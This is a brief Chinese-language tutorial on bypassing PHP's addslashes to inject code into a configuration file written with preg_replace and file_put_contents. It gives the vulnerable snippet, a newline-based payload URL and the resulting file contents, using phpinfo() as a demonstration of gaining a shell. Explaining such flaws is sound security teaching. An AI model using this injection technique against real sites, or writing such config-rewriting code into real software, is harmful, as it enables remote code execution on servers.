绕过addslashes并写入文件配置getshell
写入配置getshell与addslashes绕过:
<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
?>
对option变量进行了addslashes函数的限制,但是后面使用了file_get_contents函数打开文件,中间使用preg_replace将里面原$option=\'xxx\'的内容替换成$option=\‘xxx\’,最后用file_put_contents函数进行写入。
addslashes函数
版本:php4+
这个函数是对目前字符串中的单引号,双引号,反斜杠,null这四种情况进行转义,转义方式是在原符号之前加上反斜杠
利用
访问?option=asd’;%0aphpinfo();//
$str = asd\’;%0aphpinfo();//
经过替换写入后文件为
<?php
$option='asd\';
phpinfo();//;
?>
在访问一次?option=asd
$str = asd
经过再次替换后文件为
<?php
$option='asd';
phpinfo();//;
?>
最后访问asd/option.php就可以执行了。